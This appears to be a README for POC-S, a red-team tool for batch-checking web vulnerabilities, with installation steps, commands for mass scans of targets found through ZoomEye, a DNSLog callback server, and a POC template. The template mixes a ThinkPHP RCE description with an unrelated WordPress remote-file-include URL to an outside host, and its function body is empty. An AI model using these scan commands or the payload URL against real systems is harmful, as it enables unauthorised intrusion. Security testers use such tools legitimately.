
POC-T强化版本 POC-S , 用于红蓝对抗中快速验证Web应用漏洞, 对功能进行强化以及脚本进行分类添加,自带dnslog等, 平台补充来自vulhub靶机及其他开源项目的高可用POC
Documentation for POC-T wiki is in the doc directory
Preface: Currently
Using POC-S to attack targets without prior mutual consent is illegal. POC-S is intended for security testing purposes only.
pocs/poc-s terminal commands, separating the framework and POCs, allowing custom POCs to be placed in any directoryTODO
--init parameter to dynamically update the tookit.conf configuration file, e.g., --init zoomeye to initialize zoomeye configuration.ceye.py and dnslog.py verification plugins.pocsapi.py, similar to sqlmapapi functionality.Since third-party interfaces require authentication, use the
--initparameter to initialize your relevant interface configuration, e.g.,--init zoomeye.
pip install pocs
Source installation:
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak pocs/toolkit.conf
python setup.py install
If
pip install pocsgives aSome files missingerror, go to the pocs installation directory (python2.7\Lib\site-packages\pocs) and renametookit.conf. If you encounter aWARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments.error, it is a dependency issue. Please check and update the versions of a few packages:setuptools==39.0.1,cachetools==3.1.1,google-api-python-client==1.7.11.
pocs -s test/test2.py -iS 127.0.0.1 # Load script/test/test2.py script
pocs -s test2 -iS 127.0.0.1 # Load script/test2.py script
pocs -b test -iS 127.0.0.1 # Batch load all scripts in /script/test/ directory
pocs -b test -s test2.py -iS 127.0.0.1 # Load script/test/test2.py script
pocs -s myself_script.py -iS 127.0.0.1 # Load custom scripts and script directories
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye # Initialize zoomeye configuration
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
Use ZoomEye to batch search for CNVD-2020-10487 tomcat ajp lfi vulnerability
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

If you are struggling with the instability of ceye and don't have the time or energy to set up a DNSLog platform (requires two domain names, a public IP, and the ability to modify DNS servers), then try the simple DNS log platform provided by POC-S. It only requires one domain name and one public IP, and provides API interfaces for verification (no GUI).
Assume dnslog.xxx.cn is your public domain and x.x.x.x is the public IP. Ensure that dnslog.xxx.cn resolves correctly to x.x.x.x, otherwise the API will not be accessible.
Run the command on the public server (x.x.x.x):
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>> dns ip: x.x.x.x
DNS log command, only supports nslookup: nslookup 1234.dnslog.xxx.cn x.x.x.x
If you want to use
ping 1234.dnslog.xxx.cn, you can configure a custom DNS server forxxx.cn(refer to DNSLog configuration).
Web log command: curl http://dnslog.xxx.cn:88/weblog/poc123
API endpoint: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
Parameters:
- token mandatory, the api_key entered when setting up the DNS log.
- type mandatory, options: dns/web
- filter optional, filters records by exact match.
POCs provides more flexible plugin classification. Currently, there are four types of POCs collected: Fuzz POC, OWASP POC, Vuln POC, Tool POC. POCs will try to collect existing POCs from GitHub as much as possible, but not too many; individual collection and organization are still needed.
POC writing will be as standardized as possible, following the POC-T writing style. Example below:
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 Remote Code Execution Vulnerability
Desc
On December 10, 2018, the ThinkPHP official public account published an update notice, which included a high-risk vulnerability in all versions of the 5.x series that could get a shell.
Due to insufficient checking of the controller name, a potential getshell vulnerability may occur when forced routing is not enabled.
Affected versions include all versions before 5.0.23 and 5.1.31. It is recommended to update to the latest version as soon as possible.
Version
ThinkPHP5.0 <= 5.0.22 ThinkPHP5.1 <= 5.1.29
Usage:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
Mainly sourced from vulhub plugin writing and POC-T built-in plugins, only highly available POCs are included. Each POC listed below has been verified with a local environment. If any POC is incorrect, please submit an issue.
Source: boy-hack/POC-T
Source: hunter detection scripts
Common tool-type POCs, providing search engine and information query functions.
Other open-source POCs, such as from https://github.com/boy-hack/airbug, can be used directly, but the HackRequest library is Python 3 only; it needs to be adapted to Python 2. You can install my modified Python 2 library: https://github.com/jiangsir404/hack-requests